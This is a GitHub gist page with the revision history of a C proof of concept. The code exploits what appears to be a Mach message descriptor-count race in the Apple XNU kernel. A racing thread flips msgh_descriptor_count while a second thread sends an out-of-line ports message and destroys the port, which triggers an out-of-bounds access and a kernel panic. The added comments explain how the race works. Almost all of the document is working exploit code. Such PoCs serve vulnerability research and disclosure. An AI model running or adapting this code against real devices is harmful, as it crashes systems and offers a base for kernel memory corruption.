Skip to content

Instantly share code, notes, and snippets.

@jakeajames
Last active September 17, 2025 04:15
Show Gist options
  • Select an option

  • Save jakeajames/37f72c58c775bfbdda3aa9575149a8aa to your computer and use it in GitHub Desktop.

Select an option

Save jakeajames/37f72c58c775bfbdda3aa9575149a8aa to your computer and use it in GitHub Desktop.

Revisions

  1. jakeajames revised this gist Feb 28, 2022. 1 changed file with 0 additions and 0 deletions.
    Binary file added writeup.pdf
    Binary file not shown.
  2. jakeajames revised this gist Feb 28, 2022. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion poc.c
    Original file line number Diff line number Diff line change
    @@ -84,7 +84,7 @@ void poc() {

    // set up an OOL ports message
    // make the size N_CORRUPTED because it's bigger, otherwise the message won't send and return an error.
    // this will make the allocation bigger but we don't care about tha as the out of bounds will be done to the left of the buffer, not to the right
    // this will make the allocation bigger but we don't care about that as the out of bounds will be done to the left of the buffer, not to the right
    msg = (struct ool_msg*)calloc(1, sizeof(struct ool_msg) + sizeof(mach_msg_ool_ports_descriptor_t) * N_CORRUPTED);

    msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
  3. jakeajames revised this gist Feb 28, 2022. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion poc.c
    Original file line number Diff line number Diff line change
    @@ -89,7 +89,7 @@ void poc() {

    msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    msg->hdr.msgh_size = (mach_msg_size_t)(sizeof(struct ool_msg) + sizeof(mach_msg_ool_ports_descriptor_t) * N_CORRUPTED);
    msg->hdr.msgh_remote_port = 0;// dest[i];
    msg->hdr.msgh_remote_port = 0;
    msg->hdr.msgh_local_port = MACH_PORT_NULL;
    msg->hdr.msgh_id = 0x41414141;

  4. jakeajames revised this gist Feb 28, 2022. 1 changed file with 16 additions and 3 deletions.
    19 changes: 16 additions & 3 deletions poc.c
    Original file line number Diff line number Diff line change
    @@ -45,19 +45,26 @@ mach_port_t dest, target;

    void race_thread() {
    while (1) {
    // change the descriptor count back and forth
    // eventually the race will work just right so we get this order of actions:
    // count = N_DESC -> first copyin -> count = N_CORRUPTED -> second copyin
    msg->body.msgh_descriptor_count = N_CORRUPTED;
    msg->body.msgh_descriptor_count = N_DESC;
    }
    }

    void main_thread() {
    while (1) {
    // create a mach port where we'll send the message
    dest = new_mach_port();


    // send
    msg->hdr.msgh_remote_port = dest;
    int ret = mach_msg(&msg->hdr, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, msg->hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    if (ret) printf("error: %s\n", mach_error_string(ret));


    // destroy the port to trigger the panic
    // note: don't receieve the message, that'll override ikm_header and stop the crash from happening
    printf("Destroying...\n");
    mach_port_destroy(mach_task_self(), dest);
    printf("Dead yet?\n");
    @@ -67,21 +74,26 @@ void main_thread() {
    void poc() {
    printf("Crashing kernel...\n");

    // create a dummy port to send with the message
    target = new_mach_port();

    mach_port_t* ports = malloc(sizeof(mach_port_t) * N_PORTS);
    for (int i = 0; i < N_PORTS; i++) {
    ports[i] = target;
    }

    // set up an OOL ports message
    // make the size N_CORRUPTED because it's bigger, otherwise the message won't send and return an error.
    // this will make the allocation bigger but we don't care about tha as the out of bounds will be done to the left of the buffer, not to the right
    msg = (struct ool_msg*)calloc(1, sizeof(struct ool_msg) + sizeof(mach_msg_ool_ports_descriptor_t) * N_CORRUPTED);

    msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    msg->hdr.msgh_size = (mach_msg_size_t)(sizeof(struct ool_msg) + sizeof(mach_msg_ool_ports_descriptor_t) * N_CORRUPTED);
    msg->hdr.msgh_remote_port = 0;
    msg->hdr.msgh_remote_port = 0;// dest[i];
    msg->hdr.msgh_local_port = MACH_PORT_NULL;
    msg->hdr.msgh_id = 0x41414141;

    // set the initial (smaller) descriptor count
    msg->body.msgh_descriptor_count = N_DESC;

    for (int i = 0; i < N_DESC; i++) {
    @@ -93,6 +105,7 @@ void poc() {
    msg->ool_ports[i].copy = MACH_MSG_PHYSICAL_COPY;
    }

    // start the threads
    pthread_t thread, thread2;
    pthread_create(&thread, NULL, (void*)race_thread, NULL);
    pthread_create(&thread2, NULL, (void*)main_thread, NULL);
  5. jakeajames created this gist Feb 28, 2022.
    101 changes: 101 additions & 0 deletions poc.c
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,101 @@
    #include <stdlib.h>
    #include <stdio.h>
    #include <pthread/pthread.h>
    #include <mach/mach.h>

    struct ool_msg {
    mach_msg_header_t hdr;
    mach_msg_body_t body;
    mach_msg_ool_ports_descriptor_t ool_ports[];
    };

    mach_port_t new_mach_port() {
    mach_port_t port = MACH_PORT_NULL;
    kern_return_t ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
    if (ret) {
    printf("[-] failed to allocate port\n");
    return MACH_PORT_NULL;
    }

    mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
    if (ret) {
    printf("[-] failed to insert right\n");
    mach_port_destroy(mach_task_self(), port);
    return MACH_PORT_NULL;
    }

    mach_port_limits_t limits = {0};
    limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE;
    ret = mach_port_set_attributes(mach_task_self(), port, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&limits, MACH_PORT_LIMITS_INFO_COUNT);
    if (ret) {
    printf("[-] failed to increase queue limit\n");
    mach_port_destroy(mach_task_self(), port);
    return MACH_PORT_NULL;
    }

    return port;
    }

    #define N_DESC 1
    #define N_PORTS 0
    #define N_CORRUPTED 0x1000

    struct ool_msg *msg;
    mach_port_t dest, target;

    void race_thread() {
    while (1) {
    msg->body.msgh_descriptor_count = N_CORRUPTED;
    msg->body.msgh_descriptor_count = N_DESC;
    }
    }

    void main_thread() {
    while (1) {
    dest = new_mach_port();

    msg->hdr.msgh_remote_port = dest;
    int ret = mach_msg(&msg->hdr, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, msg->hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    if (ret) printf("error: %s\n", mach_error_string(ret));

    printf("Destroying...\n");
    mach_port_destroy(mach_task_self(), dest);
    printf("Dead yet?\n");
    }
    }

    void poc() {
    printf("Crashing kernel...\n");

    target = new_mach_port();

    mach_port_t* ports = malloc(sizeof(mach_port_t) * N_PORTS);
    for (int i = 0; i < N_PORTS; i++) {
    ports[i] = target;
    }

    msg = (struct ool_msg*)calloc(1, sizeof(struct ool_msg) + sizeof(mach_msg_ool_ports_descriptor_t) * N_CORRUPTED);

    msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    msg->hdr.msgh_size = (mach_msg_size_t)(sizeof(struct ool_msg) + sizeof(mach_msg_ool_ports_descriptor_t) * N_CORRUPTED);
    msg->hdr.msgh_remote_port = 0;
    msg->hdr.msgh_local_port = MACH_PORT_NULL;
    msg->hdr.msgh_id = 0x41414141;

    msg->body.msgh_descriptor_count = N_DESC;

    for (int i = 0; i < N_DESC; i++) {
    msg->ool_ports[i].address = ports;
    msg->ool_ports[i].count = N_PORTS;
    msg->ool_ports[i].deallocate = 0;
    msg->ool_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
    msg->ool_ports[i].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
    msg->ool_ports[i].copy = MACH_MSG_PHYSICAL_COPY;
    }

    pthread_t thread, thread2;
    pthread_create(&thread, NULL, (void*)race_thread, NULL);
    pthread_create(&thread2, NULL, (void*)main_thread, NULL);

    pthread_join(thread, NULL);
    }